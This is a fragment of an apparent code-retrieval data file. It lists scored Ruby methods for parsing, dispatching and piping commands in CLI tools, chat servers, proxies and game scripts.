"ee70c9cfcafe8760d7834f05215ceaa3", "score": "0.5819485", "text": "def handle_command(command)\n cmd = command.command\n return Response.new unless cmd\n if cmd.start_with?(\"'\")\n cmd = \"say \" + cmd[1, cmd.length-1]\n end\n if cmd.start_with?('say ')\n command.say = cmd[4, cmd.length-4].strip\n end\n command.command = cmd.downcase\n\n handlers = find_handlers(command.body)\n response = Response.new\n response.command = command.command\n handlers.each { |h|\n h.handle(response, command)\n if response.handled; return response end\n }\n if !response.handled && response.direction\n response.message = \"You can't go that way.\"\n response.handled = true\n end\n response\n end", "title": "" }, { "docid": "bdd32fd4087c26b2c3b1b7d3541314f3", "score": "0.57592267", "text": "def process_command\n # Make sure we are running from the correct directory\n puts \"Running from .. \" + Dir.pwd if $DEBUG\n\n # determing which action and forward accordingly\n method = \"cmd_\" + @arguments.shift\n if !respond_to? method\n puts \"do not have `#{method}' in my reportoire ..\"\n output_usage\n end\n send(method, *@arguments)\n rescue ArgumentError\n output_usage\n end", "title": "" }, { "docid": "06d9cc4fa8b6489ccd7d03221f8c7b4f", "score": "0.5744322", "text": "def process_command_file\n gather_command\n create_command_structure\n end", "title": "" }, { "docid": "dbcec80ebb3ff176cdd1d1395b696767", "score": "0.5696932", "text": "def process_pipe\n # We want to open this pipe in non-blocking read mode b/c\n # otherwise this process becomes hard to kill.\n f = File.new(settings['pipe'], (File::RDONLY | File::NONBLOCK))\n while true\n process_file_handle(f)\n # In non-blocking mode, an EOFError from f.readline doesn't mean\n # there's no more data to read, just that there's no more data\n # right *now*. If we sleep for a bit there might be more data\n # coming down the pipe.\n sleep settings['pipe_read_sleep']\n end\n f.close\n end", "title": "" }, { "docid": "25fe0906a2e72f8290d7d56544955921", "score": "0.56910205", "text": "def pipe(command, continue = false)\n log(2, \"Action: pipe to #{command.inspect}\")\n deliver_pipe(command, @message)\n if $? != 0\n\tm = \"pipe failed for command #{command.inspect}\"\n log(1, \"Error: \" + m)\n\traise DeliveryCommandFailure.new(m, $?)\n end\n unless continue\n\traise DeliverySuccess.new(\"pipe to #{command.inspect}\")\n end\n end", "title": "" }, { "docid": "f077d28928790bc08e94ea16eaec88c7", "score": "0.5683641", "text": "def run__pipe_impl\n pipe = IO.popen(command, \"w+\")\n items.each do |item|\n pipe.puts item[:label]\n end\n\n pipe.close_write\n LOGGER.debug \"PipeCommand: #{command} \"\n value = pipe.read\n pipe.close\n LOGGER.debug \"#{$?.class} => #{$?.inspect}\"\n if $?.exitstatus > 0\n selection = \"\"\n end\n value.chomp!\n selection = items.find do |item|\n item[:label].to_s == value\n end\n return selection || { key: value }\n end", "title": "" }, { "docid": "c94614acee1d61b6138a3d89b0e1f7a1", "score": "0.567769", "text": "def command_parse(argv)\n end", "title": "" }, { "docid": "773c0d656bbcc826058c7fef390084c4", "score": "0.56651235", "text": "def read_and_execute(pipe_server)\n prompt = \"#{config.app}> \"\n\n trap(\"SIGTSTP\", \"SYSTEM_DEFAULT\")\n trap(\"SIGCONT\") do\n print prompt\n end\n\n # Run any commands that have been passed\n result = process_command(pipe_server, @config.run_command)\n @config.run_command = \"\"\n if result == :exit || @config.once\n return false\n elsif result == :reload\n return true\n end\n\n define_autocomplete(pipe_server)\n\n # The command entry loop\n while command = Readline.readline(prompt, false)\n command.strip!\n result = process_command(pipe_server, command)\n\n if result == :exit\n return false\n elsif result == :reload\n return true\n end\n end\n\n send_message(:stop)\n false\n end", "title": "" }, { "docid": "bd7c58f988ea4bde6f3ff9021adc07f1", "score": "0.56638974", "text": "def process_command(command)\n (command, args) = command.split(/\\s+/, 2)\n command = command.downcase.to_sym\n\n self.send(command, args) if self.public_methods.include? command\n end", "title": "" }, { "docid": "f1142f391a2f62273cd807a73079165e", "score": "0.5663502", "text": "def process_srv_command(srv_message)\n # command is the left part on colon\n arr_cmd_msg = srv_message.split(\":\")\n cmd = arr_cmd_msg.first\n # details of command\n cmd_details = arr_cmd_msg[1..-1].join(\":\")\n #retreive the symbol of the command handler\n meth_parsed = nil \n ProtCommandConstants::SUPP_COMMANDS.each do |k,v|\n if v[:liter] == cmd \n meth_parsed = v[:cmdh] \n break\n end \n end\n # call the command handler if the command handler is recognized\n if meth_parsed\n send meth_parsed, cmd_details.chomp\n end\n end", "title": "" }, { "docid": "9dc344a3555f6fa7c59cea834ced69ac", "score": "0.5644693", "text": "def parse(cmd)\n return unless @events[cmd.code]\n\n @events[cmd.code].each do |command|\n next unless cmd_filter(cmd, command)\n\n puts \"#{cmd.code} [#{cmd.src}] raises event in #{command.class}\"\n\n next unless cmd_filter(cmd, command, 'post_filter')\n\n puts 'post-filter passed'\n\n begin\n command.send(('on_' + cmd.code).to_sym, cmd)\n rescue => ex\n puts \"Error! #{ex}\"\n print ex.backtrace.join(\"\\n\")\n end\n end\n end", "title": "" }, { "docid": "b87bacefae4ceabade37d82f2a909f0b", "score": "0.56052876", "text": "def do_command\n _, cmd, _, atype, addr_length = @data.unpack(\"C5\")\n header_length = 0\n\n case atype\n when 1, 4 # 1: ipv4, 4 bytes / 4: ipv6, 16 bytes\n ip_length = 4 * atype\n host = IPAddr.ntop @data[4, ip_length]\n port = @data[4 + ip_length, 2].unpack('S>').first\n header_length = ip_length + 6\n when 3 # domain name\n host = @data[5, addr_length]\n port = @data[5 + addr_length, 2].unpack('S>').first\n header_length = addr_length + 7\n else\n panic :address_type_not_supported\n end\n\n case cmd\n when 1\n send_data reply_data(:success)\n @connection = EventMachine.connect(Config.remote_server_host, Config.remote_server_port, Connection)\n @connection.server = self\n @connection.send_encoded_data(\"#{host}:#{port}\")\n @connection.send_encoded_data(@data[header_length, -1])\n clear_data\n Fiber.yield\n when 2, 3 # bind, udp\n panic :command_not_supported\n else\n panic :command_not_supported\n end\n end", "title": "" }, { "docid": "296f1c3c37372761623a9979da8c50f2", "score": "0.56037414", "text": "def |(cmd)\n IO.popen(cmd.to_s, 'r+') do |pipe|\n pipe.write(self)\n pipe.close_write\n pipe.read.strip\n end\n end", "title": "" }, { "docid": "0b4f7ef48b0ccab7885c99e16f3525df", "score": "0.5596939", "text": "def process command\n @next_action = nil\n @output = []\n\n return([:self, self, [], nil]) if command.empty?\n block, arguments = definition.proc_for(command)\n\n instance_exec(*arguments, &block)\n action, context = @next_action || [ :self, self ]\n\n return([ action, context, @output, nil ])\n rescue Cuttlebone::DoubleActionError\n raise\n rescue => e\n return([ :self, self, [], %{Cuttlebone::Controller: #{e.message} (#{e.class})} ])\n end", "title": "" }, { "docid": "63a9de70cdbd85fd4d85b4013cc38171", "score": "0.5586185", "text": "def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_options\n end\n end", "title": "" }, { "docid": "7bb2c20b60bdc5ee2f9aea1697fde137", "score": "0.55679667", "text": "def execute( cmd, client, data )\n unless commands[ cmd ]\n private(\"Unknown command [#{cmd}]\", \"Server\", client)\n log( \"[command #{cmd}] Error. Unknown command.\" )\n return nil\n end\n# raise commands[ cmd ].inspect + ' :: ' + cmd.to_s\n block = commands[ cmd ][ :block ]\n # arity, ignoring server and client\n num_params = (block.arity - 2)\n\n case num_params\n when 0\n block.call( self, client )\n when 1\n block.call( self, client, data )\n else\n words = data.split(\" \")\n params = []\n (num_params - 1).times do\n params << words.shift\n end\n # last parameter can include spaces\n data = words.join(\" \")\n params << data\n block.call( self, client, *params )\n end\n\n end", "title": "" }, { "docid": "19392df4e9b4493baa444938881d5369", "score": "0.55428696", "text": "def execpipe(command, *args)\n # Puppet 2.7 would join with '', but we wish ' ' (spaces) between args..\n command_str = command.respond_to?(:join) ? command.join(' ') : command\n execpipe_method.call(command_str, *args) { |pipe| yield pipe }\n end", "title": "" }, { "docid": "6f49456829d4760a844cd234bf817b89", "score": "0.5535139", "text": "def process\n raise CommandError, \"command '#{command_name}' not implemented\"\n end", "title": "" }, { "docid": "5bc6b7370993a50904a24d6744d72910", "score": "0.55323577", "text": "def process_line line\n if looks_like_json?(line)\n process_line_of_json_in_new_pipe(line)\n else\n process_line_of_tsv_in_this_pipe(line)\n end\n end", "title": "" }, { "docid": "bd1acc5dfb018f6ab97a967d5abb9f4a", "score": "0.5511397", "text": "def process(_cmd); raise NotImplementedError\n end", "title": "" }, { "docid": "eda0a0ca1a1045ca83f4799b0b8aa9ed", "score": "0.5509818", "text": "def command(command)\n IO.pipe do |read_io, write_io|\n pid = Process.spawn(command, :in => \"/dev/tty\", :out => write_io)\n Process.wait(pid)\n raise \"Command failed: #{command.inspect}\" unless $?.success?\n write_io.close\n read_io.read\n end\n end", "title": "" }, { "docid": "044cd1e9b012c8b9c6ef4e08090f433f", "score": "0.5505418", "text": "def send_cmd(cmd)\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "title": "" }, { "docid": "044cd1e9b012c8b9c6ef4e08090f433f", "score": "0.55047375", "text": "def send_cmd(cmd)\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "title": "" }, { "docid": "af51d4b810e5f694119d22344746e490", "score": "0.5500021", "text": "def pipe_command(command)\n case command\n when :exit\n \"\\x00\"\n when :execute\n \"\\x01\"\n end\n end", "title": "" }, { "docid": "59d5ff36df24e6de9c9aefc4876de093", "score": "0.547945", "text": "def parse\n _magic, command, length, checksum = @buffer.unpack('a4A12Va4')\n payload = @buffer[HEAD_SIZE...HEAD_SIZE + length]\n if Digest::SHA256.digest(Digest::SHA256.digest(payload))[0...4] != checksum\n return if payload.size < length\n raise 'TODO: handle checksum error'\n end\n @buffer = @buffer[HEAD_SIZE + length..-1] || ''\n handler.send \"handle_#{command}\", payload\n !@buffer.empty?\n end", "title": "" }, { "docid": "0a33935293855ae261684ec8157263da", "score": "0.5477813", "text": "def process_line(line)\n command_match, arg_string, captures, args = tokenize(line)\n\n check_for_command_collision(command_match, arg_string) if Pry.config.collision_warning\n\n self.arg_string = arg_string\n self.captures = captures\n\n call_safely(*(captures + args))\n end", "title": "" }, { "docid": "039acda63ac148d4e72099c415fa6af5", "score": "0.5470609", "text": "def parsed\n [raw_command] + args\n end", "title": "" }, { "docid": "3afd06939644edb4c7c30dbf9783463e", "score": "0.54698557", "text": "def parse\n @commands.each do |_, cmd|\n if cmd.flags?\n # or for the || seems to not do what I want it to do...\n next unless argv_index = ARGV.index(cmd.flags.short) || ARGV.index(cmd.flags.long)\n else\n next unless argv_index = ARGV.index(cmd.index.to_s)\n end\n cmd.given = true unless argv_index.nil?\n if cmd.type.nil?\n yield cmd if block_given?\n else\n if parsed = parse_cmd(cmd, flags)\n cmd.arguments = parsed || cmd.default\n yield cmd if block_given?\n elsif cmd.default\n cmd.arguments = cmd.default\n yield cmd if block_given?\n end\n end\n end\n end", "title": "" }, { "docid": "0d06d8492e04319078fca894ebd31257", "score": "0.54697454", "text": "def split_commands(cmd_line); end", "title": "" }, { "docid": "a53817b95d277eb9c6399fcdaa59f040", "score": "0.5465821", "text": "def receive_line(line)\n arguments = line.split(/\\s+/)\n command = arguments.shift\n \n if (!command or command.empty?)\n reply_with_error\n else\n command_sym = :\"#{command.downcase}_command\"\n if (respond_to?(command_sym))\n send(command_sym, *arguments)\n else\n reply_with_error(\"Unsupported command #{command.upcase}\", :client)\n end\n end\n rescue ArgumentError\n reply_with_error(\"Incorrect arguments to #{command.upcase}\")\n end", "title": "" }, { "docid": "1f1d0f712e435d42d6e13bedc383c654", "score": "0.5463913", "text": "def process_command_line\n return @process_command_line\n end", "title": "" }, { "docid": "cef638a1307745ea4540640b0e25e34b", "score": "0.54610497", "text": "def send_cmd(cmd)\n # What time is it ?\n # update_access\n\n # Write the command plus a newline to the input\n @pipe.write_input(cmd + \"\\n\")\n end", "title": "" }, { "docid": "c36ffe34f2e0b41b4a574bc9f9f1dfe4", "score": "0.546056", "text": "def run\n case\n when settings['pipe']\n process_pipe\n when settings.rest.size > 0\n settings.rest.each do |path|\n process_file(path)\n end\n else\n process_stdin\n end\n exit(0)\n end", "title": "" }, { "docid": "1a1df5e2ac8bcca7a97ab0bf261151c7", "score": "0.5435741", "text": "def parse!(argv=ARGV, opts={})\n command = argv.shift\n case command\n when '--version', '-v'\n puts \"Aladdin #{Aladdin::VERSION}\"\n exit 0\n when nil, '--help', '-h'\n puts File.read USAGE\n exit 0\n else\n require_relative 'commands/new'\n require_relative 'commands/server'\n send command, argv, opts\n end\n rescue => e\n puts e.message\n puts File.read USAGE\n exit 1\n end", "title": "" }, { "docid": "79552068aea60a34567f1a08d9150355", "score": "0.5431538", "text": "def cli_parse\n @command = nil\n\n cli @argv,\n \"-R --rules\" => lambda{ @command = :list },\n \"-H --help\" => lambda{ @command = :help },\n \"-a --auto\" => method(:watch=),\n \"-f --fresh\" => method(:fresh!),\n \"-s --script\" => method(:script=),\n \"-D --debug\" => method(:debug!)\n end", "title": "" }, { "docid": "922518ae69c1aefaa4336199fb731f69", "score": "0.54300135", "text": "def run\n\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n\n end", "title": "" }, { "docid": "c02caacd5a3b4acd82757716b5c60ed0", "score": "0.54048693", "text": "def handle(command)\n action, context = command.split('__')\n\n handler(action).call(context) if handler_exists_for?(action)\n end", "title": "" }, { "docid": "720736c175d25d5c04dd144da6e2c39e", "score": "0.54035336", "text": "def postcmd(line)\n line\n end", "title": "" }, { "docid": "305a9d1710860e183c3abec6c38f43a1", "score": "0.5401643", "text": "def parse_command(raw_code)\n code, subcode = raw_code.split\n @expected = structure_with_code(code)\n @response = response_with_code(code, subcode)\n end", "title": "" }, { "docid": "b7ddf6ad86674fad9f4a9d986d77cd30", "score": "0.5393662", "text": "def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end", "title": "" }, { "docid": "073831b1f8d4fbd23aaefffb1fb0d613", "score": "0.5381558", "text": "def call_command\n verb = match.captures[match.names.index('command')]\n verb = normalize_command_string(verb)\n public_send(verb)\n end", "title": "" }, { "docid": "81c573d1fa4bebeed87f288b43dcb845", "score": "0.5374182", "text": "def run! \n loop { puts @context.eval(@pipe.gets) }\n end", "title": "" }, { "docid": "e26b51716f2e693da64fe808931e2e90", "score": "0.5368389", "text": "def execute\n final_command = \"#{@command} 2>&1\"\n puts \":: #{final_command}\"\n duration = 0\n Transcoder.logger.info(\"\\nExecuting Command: #{final_command}\\n\")\n if block_given?\n @raw_result = ''\n IO.popen(final_command) do |pipe|\n pipe.each(\"\\r\") do |line| \n new_progress, duration = parse_progress(line, duration)\n if new_progress != @progress\n @progress = new_progress\n yield @progress\n $defout.flush\n end\n @raw_result += line + \"\\r\" \n end\n end\n else\n @raw_result = `#{final_command}`\n end\n Transcoder.logger.info(\"Result: \\n#{@raw_result}\")\n parse_result(@raw_result)\n end", "title": "" }, { "docid": "e7e405de07c1c3a0ce7d83a6603db5ea", "score": "0.5347969", "text": "def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend", "title": "" }, { "docid": "79e136701051a84b2ad9080d22678cdb", "score": "0.53405815", "text": "def handle_pipe\n @html = RDoc::Markup::ToHtml.new @options\n\n parser = RDoc::Text::MARKUP_FORMAT[@options.markup]\n\n document = parser.parse $stdin.read\n\n out = @html.convert document\n\n $stdout.write out\n end", "title": "" }, { "docid": "b181f83d47ea54c72f4ffcf3aec683c1", "score": "0.5321248", "text": "def proccess_command(command)\n # branch based on command type\n case command[0]\n when COMScript # script [code]\n # evaluate script\n result = eval(command[1])\n when COMWait # wait [int]\n # decrease wait counter by 1\n command[1] -= 1\n # proceed if wait time is up\n return command[1] <= 0\n when COMMove # move [int, int]\n # add to move commands\n @moves.push(command)\n when COMTurn # turn [int]\n # add to move commands\n @moves.push(command)\n when COMJump # jump [int, int]\n # add to move commands\n @moves.push(command)\n when COMAttack # attack\n # use attack\n @ch.use_attack\n when COMSkill # skill [int]\n # use skill\n @ch.use_skill($data_skills[command[1]])\n when COMItem # item [int]\n # use item\n @ch.use_item($data_items[command[1]])\n when COMDefend # defend [int]\n # decrease time\n time = command[1] - 1\n # use defend\n @ch.use_defend\n # set penalty\n @ch.set_action(1)\n # if not done with command\n if time > 0\n # update the command counter\n command[1] = time\n # do not proceed\n return false\n end\n when COMCharacter # character [CH, value]\n # handle based on sub-command\n case command[1]\n when CHSpeed # move speed\n # set movement speed\n @ch.move_speed = command[2]\n when CHFrequency # move frequency\n # set movement frequency\n @ch.move_frequency = command[2]\n when CHSprite # change sprite\n # set sprite\n @ch.character_name = command[2]\n when CHAnimation # play animation\n # set animation\n @ch.animation_id = command[2]\n when CHFix # direction fix\n # set direction fix flag\n @ch.direction_fix = command[2]\n when CHThrough # through\n # set through flag\n @ch.through = command[2]\n when CHOnTop # always on top\n # set always on top flag\n @ch.always_on_top = command[2]\n when CHOpacity # opacity\n # set opacity\n @ch.opacity = command[2] \n end\n when COMInput # create input window [int, [keys], IN, int]\n # create new input window\n @inputs[command[1]] = [command[2], command[3], command[4], false]\n when COMVariable # variable [VAR, value1, '=', VAR, value2]\n val1 = get_variable(command[1], command[2])\n val2 = get_variable(command[4], command[5])\n # branch handling based on operator type\n case command[3]\n when '+=' then val2 = val1 + val2 # add\n when '-=' then val2 = val1 - val2 # subtract\n when '*=' then val2 = val1 * val2 # multiply\n when '/=' then val2 = val1 / val2 # divide\n when '%=' then val2 = val1 % val2 # modulo\n end\n # set the variable\n set_variable(command[1], command[2], val2)\n when COMCondition # condition [VAR, value1, '==', VAR, value2]\n # initialize result\n result = false\n # initialize values\n val1 = get_variable(command[1], command[2])\n val2 = get_variable(command[4], command[5])\n # branch handling based on operator type\n case command[3]\n when '==' # equal to\n # result is value 1 equal to value 2\n result = val1 == val2\n when '!=' # not equal to\n # result is value 1 not equal to value 2\n result = val1 != val2\n when '>' # greater than\n # result is value 1 equal to value 2\n result = val1 > val2\n when '>=' # greater than or equal to\n # result is value 1 not equal to value 2\n result = val1 >= val2\n when '<=' # less than\n # result is value 1 equal to value 2\n result = val1 < val2\n when '<=' # less than or equal to\n # result is value 1 not equal to value 2\n result = val1 <= val2\n end \n # if input or script\n if command[1] == VARInput || command[1] == VARScript\n # value 1 contains the result\n result = val1\n # do not proceed if waiting on an input window\n if command[1] == VARInput && @inputs[command[2]][2] > 0 && !result\n return false\n end\n end\n # skip next command if exists and condition not met\n @commands.delete_at(1) if !result && @commands.size > 1\n when COMFreeze # freeze input [bool]\n # set freeze input flag\n @freeze_character = command[1]\n when COMCompletion # wait for move completion\n # proceed if no more moves and character no longer moving\n return @moves.size == 0 && !@ch.moving?\n when COMGoTo # go to action [int]\n raise 'ERROR: Invalid action' if !is_valid_action?(command[1])\n # setup the action\n setup_action(command[1])\n # do not proceed - new set of commands\n return false\n when COMAbort # abort\n # set ended flag\n @ended = true\n end\n return true\n end", "title": "" }, { "docid": "061cdfb824cea9865b00cdc261c223b4", "score": "0.532105", "text": "def process_command(command)\n model = generate_model_from_text_file(command[:filename])\n case command[:command]\n when 'list'\n list_todos(model)\n when 'add'\n add_one_todo(model, command[:modifier])\n when 'remove'\n remove_one_todo(model, command[:modifier])\n when 'complete'\n mark_todo_complete(model, command[:modifier])\n end\n save_model_to_text_file(command[:filename], model)\n end", "title": "" }, { "docid": "1c877f51a4abe2a0586ecb76f7bc5e2c", "score": "0.530536", "text": "def run_cmd(command, prompt=@prompt)\n msg \"run command #{command}\"\n @pipe.write(\"#{command}\\r\")\n response = @pipe.readline(prompt)\n @pipe.close\n return response\n end", "title": "" }, { "docid": "0094f2dbae23a8cab3dceca2947508e6", "score": "0.5302567", "text": "def process_command\n @fiber.resume get_result\n end", "title": "" }, { "docid": "73deeb02e59aeafa338737889c0b3e95", "score": "0.5294806", "text": "def pipe(command)\n output = \"\"\n IO.popen(command) do |io|\n until io.eof?\n buffer = io.gets\n output << buffer\n puts buffer\n end\n end\n\n output\n end", "title": "" }, { "docid": "9fea83398d700813c185e41ca4881924", "score": "0.5285676", "text": "def on_pipe(ast_node, context)\n left, right = *ast_node\n\n return process(left, context) + process(right, context)\n end", "title": "" }, { "docid": "28fd201f13eb0b21478f7be48329aac6", "score": "0.52847266", "text": "def process; raise CommandError, \"command '#{command_name}' not implemented\" end", "title": "" }, { "docid": "c3b7800478c8039a6eafaeb5f3db9f11", "score": "0.52819383", "text": "def pipe!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 79 )\n\n type = PIPE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 200:8: '|'\n match( 0x7c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 79 )\n\n end", "title": "" }, { "docid": "e88b7d1c42ecf7381eaba8bb37dbd6be", "score": "0.5279189", "text": "def parse_command(cmd)\n cmd_name, *cmd_args = cmd.split\n method_name = COMMAND_MAP[cmd_name] || ''.freeze\n send(method_name, cmd, *cmd_args)\n rescue ArgumentError, NoMethodError\n output MSG_INVALID_COMMAND\n end", "title": "" }, { "docid": "cb9330713fca18bb3854b4ec4a4be81d", "score": "0.5272963", "text": "def process\n \n # Check for commands\n @command = self.check_commands\n \n # Begin switch if command is found\n # Registration\n if @command == \"reg\"\n unless self.process_registration_information\n @response = false\n end\n \n # Sell command\n elsif @command == \"sell\"\n unless self.process_sell\n @response = false\n end\n \n # Buy command\n elsif @command == \"buy\"\n unless self.process_buy\n @response = false\n end\n \n # Find command \n elsif @command == \"find\"\n unless self.process_find\n @response = false\n end \n \n #Failover \n else \n @response = false\n end \n end", "title": "" }, { "docid": "d549b74148a363cb65172d43f8834fa6", "score": "0.5265382", "text": "def run_respond(aCommand)\n run(aCommand) do |ch,stream,text|\n \tch[:state] ||= { :channel => ch }\n \toutput = yield(text,stream,ch[:state])\n \tch.send_data(output) if output\n end\nend", "title": "" }, { "docid": "e3e28a9ced3be65a08e937cfac44ab93", "score": "0.525471", "text": "def execute\n parse_command\n run_command(command)\n end", "title": "" }, { "docid": "341c991800c6e3953bac16f6a324ba92", "score": "0.5237433", "text": "def parse_command\n parser = BoltOptionParser.new(options)\n # This part aims to handle both `bolt <mode> --help` and `bolt help <mode>`.\n remaining = handle_parser_errors { parser.permute(@argv) } unless @argv.empty?\n if @argv.empty? || help?(remaining)\n # If the subcommand is not enabled, display the default\n # help text\n options[:subcommand] = nil unless COMMANDS.include?(options[:subcommand])\n\n if Bolt::Util.first_run?\n FileUtils.touch(Bolt::Util.first_runs_free)\n\n if options[:subcommand].nil? && $stdout.isatty\n welcome_message\n raise Bolt::CLIExit\n end\n end\n\n # Update the parser for the subcommand (or lack thereof)\n parser.update\n puts parser.help\n raise Bolt::CLIExit\n end\n\n options[:object] = remaining.shift\n\n # Handle reading a command from a file\n if options[:subcommand] == 'command' && options[:object]\n options[:object] = Bolt::Util.get_arg_input(options[:object])\n end\n\n # Only parse task_options for task or plan\n if %w[task plan].include?(options[:subcommand])\n task_options, remaining = remaining.partition { |s| s =~ /.+=/ }\n if options[:task_options]\n unless task_options.empty?\n raise Bolt::CLIError,\n \"Parameters must be specified through either the --params \" \\\n \"option or param=value pairs, not both\"\n end\n options[:params_parsed] = true\n elsif task_options.any?\n options[:params_parsed] = false\n options[:task_options] = Hash[task_options.map { |a| a.split('=', 2) }]\n else\n options[:params_parsed] = true\n options[:task_options] = {}\n end\n end\n options[:leftovers] = remaining\n\n # Default to verbose for everything except plans\n unless options.key?(:verbose)\n options[:verbose] = options[:subcommand] != 'plan'\n end\n\n validate(options)\n rescue Bolt::Error => e\n fatal_error(e)\n raise e\n end", "title": "" }, { "docid": "2ccd7fc0f4256d9ead080c66c7e6bb6e", "score": "0.5236177", "text": "def handle_cmd_input arg\n comm = \"\"\n dPlayer = @player\n return if dPlayer == nil\n\n one_arg(arg, comm, true)\n return if comm.empty?\n\n if @snoop\n @snoop.each do |sock|\n sock.send_data(\"(Snoop) #{arg}\" + ENDL) if sock.weakref_alive?\n end\n end\n\n how_many = nil\n begin \n how_many = Integer(comm)\n # also pull the real command\n one_arg! arg, comm, true\n one_arg! arg, comm, false\n return if comm.empty?\n rescue \n one_arg! arg, comm, false\n how_many = 1\n end\n\n begin\n # execute it this many times in a row.\n how_many.times do \n dPlayer.execute_command(comm, arg)\n end\n rescue Exception=>e\n dPlayer.view \"Command failed.\" + ENDL\n log_exception e\n end\n end", "title": "" }, { "docid": "61fe9b3a79deea4ab9fb2cd189c137bc", "score": "0.523486", "text": "def process\n debug [self.name, \"processing\", params.inspect]\n\n case params.delete(:command).to_s\n when \"broadcast\" then broadcast\n when \"query\" then query\n else raise(InvalidQuery, \"unknown command\")\n end\n end", "title": "" }, { "docid": "3aa6e0e32df663744d0c99332c19f9b0", "score": "0.52304727", "text": "def consume_stdout(line)\n @@log.warn {\"incomplete line '#{line}' on stdout, not terminated by \\\\n\"} if line[-1] != \"\\n\"\n if /^#{LINE_START}\\s*([A-Za-z0-9_]+)\\s*#{SEPARATOR}\\s*([A-Za-z]+)\\s*#{SEPARATOR}\\s*([A-Za-z0-9_]+)\\s*#{SEPARATOR}\\s*(.*)$/.match(line) then\n #parse check id\n check = @benchmark.item_repository[$1] or process_unknown_check_id(line, $1)\n severity = RuleSeverity::parse($2)\n\n cmd_class = @@command_mapper[$3.upcase]\n\n if cmd_class.nil? then\n process_unknown_reply_command(line, check, severity, $3)\n else\n @@log.debug {\"processing command #{cmd_class.name}: #{line}\"}\n process_command(cmd_class.new(check, severity, $4.split(SEPARATOR)))\n end\n else\n process_unknown_output(line)\n end\n end", "title": "" }, { "docid": "1f0fa18598386d4aa1466eb7b0d261da", "score": "0.5229623", "text": "def process_command(val)\n val = val.lstrip if /^\\s\\S/ !~ val\n val = val.chomp\n result = commands.process_line(\n val,\n target: current_binding,\n output: output,\n eval_string: @eval_string,\n pry_instance: self,\n hooks: hooks\n )\n\n # set a temporary (just so we can inject the value we want into eval_string)\n Pry.current[:pry_cmd_result] = result\n\n # note that `result` wraps the result of command processing; if a\n # command was matched and invoked then `result.command?` returns true,\n # otherwise it returns false.\n if result.command?\n unless result.void_command?\n # the command that was invoked was non-void (had a return value) and so we make\n # the value of the current expression equal to the return value\n # of the command.\n @eval_string = \"::Pry.current[:pry_cmd_result].retval\\n\"\n end\n true\n else\n false\n end\n end", "title": "" }, { "docid": "80091e2cb1a89b162e1977df59a8f6c4", "score": "0.52213603", "text": "def handleCommand( user, command, args )\n\t\tcase command\n\n\t\twhen /quit/\n\t\t\tdisconnectUser( user, 'Quit' )\n\t\t\t\n\t\twhen /shutdown/\n\t\t\tshutdown()\n\n\t\twhen /who/\n\t\t\tuser.addOutput( self.wholist(user) )\n\n\t\telse\n\t\t\tuser.addOutput(\"Unknown command '#{command}'\")\n\t\tend\n\tend", "title": "" }, { "docid": "9b78505a9dfe716f8af80df0b39ba007", "score": "0.52184105", "text": "def call\n if event.command? && command_aliases.include?(event.command)\n handle_command\n end\n end", "title": "" }, { "docid": "f90bd9d2e6c7c58305ee1075bf661183", "score": "0.52123636", "text": "def command\n consume 1, :command\n end", "title": "" }, { "docid": "5c5d01b72793ac90b3e3b23532ba7769", "score": "0.5202085", "text": "def handle_commands(command) # rubocop:todo Metrics/CyclomaticComplexity\n case command\n when '/start'\n greet_user\n when '/stop'\n send_message \"Bye, #{message.from.first_name}\"\n when '/help'\n send_message \"Please enter any of the following commands: #{@commands}\"\n when '/news'\n handle_news\n when '/subscribe'\n handle_subscribe command\n when '/update'\n handle_update\n when '/add_birthday'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n when '/add_my_birthday'\n prompt_user command\n when '/add_anniversary'\n @name = message.text if @name_set and @name.empty?\n prompt_user command\n\n end\n end", "title": "" }, { "docid": "314a049a12ddc517310f8ccf2d8e69eb", "score": "0.52020043", "text": "def run\n # TODO: include a parse step here and remove duplicate parsing code from\n # individual commands\n execute\n end", "title": "" }, { "docid": "327ebafef206b52ed4e3eda5fd448c13", "score": "0.51968884", "text": "def process_line(line)\n args = line.split\n cmd = args.shift\n \n catch(:command_not_found) { return process_command(cmd, args) }\n\n # no matching commands, try to process it as ruby code\n if @allow_ruby\n result = process_ruby_code(line)\n puts \" => #{result.inspect}\"\n return result\n end\n \n puts \"I don't know the word \\\"#{cmd}.\\\"\"\n end", "title": "" }, { "docid": "638f88f78d19a907251a097a11ec0813", "score": "0.5196598", "text": "def execute\n begin\n rout, wout = IO.pipe\n rerr, werr = IO.pipe\n stdout, stderr = nil\n\n pid = Process.spawn(command_line, :pgroup => true, :out => wout, :err => werr)\n Timeout.timeout(timeout) do\n Process.wait(pid)\n\n wout.close\n werr.close\n\n stdout = rout.readlines.join\n stderr = rerr.readlines.join\n end\n rescue Timeout::Error\n Process.kill(-9, pid)\n Process.detach(pid)\n ensure\n wout.close unless wout.closed?\n werr.close unless werr.closed?\n\n rout.close\n rerr.close\n end\n stdout\n end", "title": "" }, { "docid": "111a1b96ea369297b6edda237a66bea2", "score": "0.51953506", "text": "def run_custom_server_command!\n pid = nil\n stopped = false\n command_thread = Thread.new do\n pid = Process.spawn(server_command)\n logger.info \"Started command: #{server_command} (pid: #{pid})\"\n\n Process.wait pid\n pid = nil\n raise Interrupt, \"Server command exit unexpectedly\" unless stopped\n end\n\n command_thread.abort_on_exception = true\n\n at_stop do\n stopped = true\n next if pid.nil?\n\n Process.kill(\"SIGTERM\", pid)\n\n logger.info \"Wait till process #{pid} stop...\"\n\n tick = 0\n\n loop do\n tick += 0.2\n break if tick > WAIT_PROCESS\n\n if pid.nil?\n logger.info \"Process #{pid} stopped.\"\n break\n end\n end\n end\n end", "title": "" }, { "docid": "4c5d78aa6ee9e3e4e93e0da0981b3b25", "score": "0.5185897", "text": "def prepare_pipe_server!\n _log :prepare_pipe_server!\n unless ::File.exist? file\n system(cmd = \"mkfifo #{file.inspect}\") or raise \"cannot run 